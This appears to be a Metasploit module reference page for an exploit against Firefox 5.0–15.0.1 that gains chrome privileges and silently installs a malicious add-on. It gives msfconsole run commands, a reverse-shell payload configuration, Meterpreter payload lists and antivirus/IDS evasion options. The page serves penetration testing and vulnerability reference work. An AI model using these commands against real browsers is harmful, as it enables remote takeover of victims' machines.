Firefox 5.0 - 15.0.1 exposedProps XCS Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/browser/firefox_proto_crmfrequest metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Firefox 5.0 - 15.0.1 exposedProps XCS Code Execution
Module: exploit/multi/browser/firefox_proto_crmfrequest
Source code: modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
Disclosure date: 2013-08-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, OSX, Solaris, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-3993, CVE-2013-1710
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given invalid input, would throw an exception that did not have an exposedProps property set. By re-setting this property on the exception object's prototype, the chrome-based defineProperty method is made available. With the defineProperty method, functions belonging to window and document can be overridden with a function that gets called from chrome-privileged context. From here, another vulnerability in the crypto.generateCRMFRequest function is used to "peek" into the context's private scope. Since the window does not have a chrome:// URL, the insecure parts of Components.classes are not available, so instead the AddonManager API is invoked to silently install a malicious plugin.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN firefox_proto_crmfrequest
INCLUDE_PATTERN => firefox_proto_crmfrequest
msf auxiliary(browser_autopwn2) > exploit
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Msfconsole Usage
Here is how the multi/browser/firefox_proto_crmfrequest exploit module looks in the msfconsole:
msf6 > use exploit/multi/browser/firefox_proto_crmfrequest
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > show info
Name: Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution
Module: exploit/multi/browser/firefox_proto_crmfrequest
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-08-06
Provided by:
Mariusz Mlynski
moz_bug_r_a4
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
1 Native Payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ADDONNAME HTML5 Rendering Enhancements yes The addon name.
AutoUninstall true yes Automatically uninstall the addon after payload execution
CONTENT no Content to display inside the HTML <body>.
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 0 characters
Description:
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger
global, when given invalid input, would throw an exception that did
not have an __exposedProps__ property set. By re-setting this
property on the exception object's prototype, the chrome-based
defineProperty method is made available. With the defineProperty
method, functions belonging to window and document can be overridden
with a function that gets called from chrome-privileged context.
From here, another vulnerability in the crypto.generateCRMFRequest
function is used to "peek" into the context's private scope. Since
the window does not have a chrome:// URL, the insecure parts of
Components.classes are not available, so instead the AddonManager
API is invoked to silently install a malicious plugin.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-3993
https://bugzilla.mozilla.org/show_bug.cgi?id=768101
https://nvd.nist.gov/vuln/detail/CVE-2013-1710
Module Options
This is a complete list of options available in the multi/browser/firefox_proto_crmfrequest exploit:
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > show options
Module options (exploit/multi/browser/firefox_proto_crmfrequest):
Name Current Setting Required Description
---- --------------- -------- -----------
ADDONNAME HTML5 Rendering Enhancements yes The addon name.
AutoUninstall true yes Automatically uninstall the addon after payload execution
CONTENT no Content to display inside the HTML <body>.
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
Advanced Options
Here is a complete list of advanced options supported by the multi/browser/firefox_proto_crmfrequest exploit:
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > show advanced
Module advanced options (exploit/multi/browser/firefox_proto_crmfrequest):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
CookieExpiration no Cookie expiration in years (blank=expire on exit)
CookieName __ua no The name of the tracking cookie
Custom404 no An external custom 404 URL (Example: http://example.com/404.html)
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
JsObfuscate 0 no Number of times to obfuscate JavaScript
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/browser/firefox_proto_crmfrequest module can exploit:
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > show targets
Exploit targets:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
1 Native Payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/firefox_proto_crmfrequest exploit:
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/firefox/exec normal No Firefox XPCOM Execute Command
1 payload/firefox/shell_bind_tcp normal No Command Shell, Bind TCP (via Firefox XPCOM script)
2 payload/firefox/shell_reverse_tcp normal No Command Shell, Reverse TCP (via Firefox XPCOM script)
3 payload/generic/custom normal No Custom Payload
4 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
5 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
6 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
7 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/browser/firefox_proto_crmfrequest exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7107 Merged Pull Request: 2013-1710 - Use header VHOST info for redirection in firefox_proto_crmfrequest
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3844 Merged Pull Request: Add the JSObfu mixin to Firefox exploits
- #2865 Merged Pull Request: Add js payload to firefox_svg_plugin, add BrowserAutopwn support to both FF JS exploits
- #2827 Merged Pull Request: Add firefox js xpcom payloads for universal ff shells
- #2781 Merged Pull Request: firefox 5.0 - 15.0.1 chrome privilege execution (CVE-2012-3993 and CVE-2013-1710)
References
See Also
Check also the following modules related to this module:
- exploit/multi/browser/firefox_tostring_console_injection
- exploit/multi/browser/firefox_escape_retval
- exploit/multi/browser/firefox_jit_use_after_free
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- exploit/multi/browser/firefox_proxy_prototype
- exploit/multi/browser/firefox_queryinterface
- exploit/multi/browser/firefox_svg_plugin
- exploit/multi/browser/firefox_webidl_injection
- exploit/multi/browser/firefox_xpi_bootstrapped_addon
- auxiliary/gather/firefox_pdfjs_file_theft
- exploit/windows/browser/firefox_smil_uaf
- post/multi/gather/firefox_creds
- exploit/firefox/local/exec_shellcode
- payload/firefox/exec
- payload/firefox/shell_bind_tcp
- payload/firefox/shell_reverse_tcp
- post/firefox/gather/cookies
- post/firefox/gather/history
- post/firefox/gather/passwords
- post/firefox/gather/xss
- post/firefox/manage/webcam_chat
- exploit/windows/browser/mozilla_firefox_onreadystatechange
- exploit/windows/browser/mozilla_firefox_xmlserializer
- auxiliary/fuzzers/ntp/ntp_protocol_fuzzer
Related Nessus plugins:
- RHEL 5 / 6 : firefox (RHSA-2012:1350)
- RHEL 5 / 6 : thunderbird (RHSA-2012:1351)
- Ubuntu 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : firefox vulnerabilities (USN-1600-1)
- CentOS 5 / 6 : firefox (CESA-2012:1350)
- CentOS 5 / 6 : thunderbird (CESA-2012:1351)
- FreeBSD : mozilla -- multiple vulnerabilities (6e5a9afd-12d3-11e2-b47d-c8600054b392)
- Scientific Linux Security Update : firefox on SL5.x, SL6.x i386/x86_64 (20121009)
- Scientific Linux Security Update : thunderbird on SL5.x, SL6.x i386/x86_64 (20121009)
- Ubuntu 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : thunderbird vulnerabilities (USN-1611-1)
- SuSE 10 Security Update : Mozilla Firefox (ZYPP Patch Number 8327)
Authors
- Mariusz Mlynski
- moz_bug_r_a4
- joev
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
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